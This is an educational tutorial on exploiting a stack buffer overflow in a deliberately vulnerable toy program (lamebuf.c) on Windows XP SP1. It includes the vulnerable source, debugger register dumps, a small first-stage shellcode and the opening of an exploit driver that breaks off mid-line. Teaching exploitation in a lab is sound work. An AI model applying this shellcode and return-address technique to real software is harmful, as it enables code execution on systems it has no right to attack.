Exploit: Stack Overflows - Basic stack overflow exploiting on win32

From SecurityForest



Tutorial by tal.z
How-to exploit stack overflows on win32 (Examples written for WindowsXP Sp1 EN)


On this tutorial we will exploit the common "lamebuf.c" code while documenting every step

Table of contents

Necessary Tools

- OllyDBG 
- C/C   Compiler
- nasm
- Sac

The Code

The Vulnerable Code:

// lamebuf.c - talz
#include<stdio.h>
#include<string.h>
int main(int argc,char *argv[]){
char buf[512]; if (argc != 2){ return -1; } //check how many arguments we got strcpy(buf,argv[1]); // copying userinput without any limit <- a Buffer overflow return 0x0; }

Stack Layout

When a function is being called, arguments are pushed onto the stack followed by a CALL instruction.

PUSH eax        //Push Parameter
PUSH ebx        //Push Parameter
CALL 0x77DF0101 //Call the Actual Function

When the CALL instruction is executed the current value of EIP (The Instruction Pointer)
is pushed onto the stack and serves as the Return Address.
When the function 0x77DF0101 is called, the stack should look as shown below.

Higher address
[RET] (return address)
[EBX]
[EAX]
Lower address

When the function 0x77DF0101 returns, the Return Address will be poped from the stack and the next instruction (JMP 0x77FD0304) will be executed.

When a buffer overflow occur we might will be able to overwrite the Return Address and cause the application to execute arbitrary code.

Higher address 
[buf]
[ebp]
[RET]
[Parameter1]
[Parameter2]
...
Lower address

The stack grows towards the lower address thus we can overwrite the Return Address in our specific case.

Getting Started

Well , before we can actually exploit this application, we need to see what happens when we trigger a buffer overflow.
Compile the code mentioned above and execute the following command :

C:\exploit\lamebuf.exe AAAAAAAAAAA... ( when "A" appears 520 times )

(dont forget to enable "Just In Time" Debugging in OllyDBG)
lamebuf.exe should crash, if you look at the registers you can see that EIP and EBP was overwritten as expected

EAX 00000000
ECX 00320FDC
EDX 00414141
EBX 7FFDF000
ESP 0012FF88
EBP 41414141
ESI 77D45950
EDI 77F59037 ntdll.77F59037
EIP 41414141

Ok , so we control the execution flow. Now what?

Finding a reliable way to exploit the vulnerability

We need to find a reliable method of tricking the application into executing our shellcode without crashing.
First of all we'll examine all registers and search for one that points to User Controlled data (in our case "AAA...")
No luck? Try passing 540 chars instead of 520, let it crash and let's examine the registers now.
lamebuf.exe should crash with the following state of registers

EAX 00000000
ECX 00320FF0
EDX 00414141
EBX 7FFDF000
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAA"
EBP 41414141
ESI 77D45950
EDI 77F59037 ntdll.77F59037
EIP 41414141

ESP points to our User Controlled data, but ESP is just 20 Bytes long which is not enough for our shellcode.
Basicly we could overwrite the SEH Structure but that's beyond the scope of this tutorial.
So we have 20 Bytes of User Controlled data that we can execute. Let's examine the registers further:
ECX points to the end of our buffer, so basicly we can create a small shellcode (smaller then 20 bytes),
to decrease the size of ECX and perform a JMP ECX.

Writing custom shellcode

The shellcode is written in the Netwide Assembly language (nasm). We mentioned above that we need to decrease the size of ecx and perform a JMP ecx instruction, our netwide assembly code for this task will be

[BITS 32]
global _start
_start: dec ch ; dec ch (we dont want to have any nulls in our code dec ch ; by decreasing ch we decrease ecx by 256 if we do it twice and jump to ecx jmp ecx ; we land pretty much at the start of our second shellcode

compile it with the following command :

C:\exploit\nasm>nasmw -f bin smallshell.asm -o smallshell

now open 'smallshell' in a hex editor and copy the bytes it should be somthing like this :

"\xFE\xCD\xFE\xCD\xFF\xE1"

And that will be our "First stage" shellcode.

Wrapping it all together

As a second stage shellcode im going to use a shellcode from Metasploit.com's online shellcode generator which is quite great
we know everything we need to know , let's write the exploit!
when an overflow occur our stack should look like this :

512 Bytes [buf] "AAAA..."
  4 Bytes [ebp] "AAAA"
  4 Bytes [RET] "AAAA"

we want to overwrite RET with a new return address as we can see the offset for that will be 516
since ESP holds a pointer to our "stage1 shellcode" we'r going to overwrite RET with an address that perform a JMP esp Instruction at ntdll.dll
(you can find such addresses using the tool "Sac" or manually with OllyDBG)
So far our exploit code should be :

#include<stdio.h>
#include<string.h>
#include<windows.h>
#define RET_ADDRESS 0x77F8AC16 // The new return address for WinXP Sp1 English
// First stage shellcode - decrease cx by 512 and JMP ecx unsigned char shell_stage1[]= "\xFE\xCD\xFE\xCD\xFF\xE1"; int main(int argc,char *argv[]){
char *bufExe[3]; char buf[560];
bufExe[0] = "lamebuf.exe"; bufExe[2] = NULL; memset(buf,0xCC,540); //For Debug purposes (0xCC is the interrupt for a Breakpoint) memcpy(
Advertisement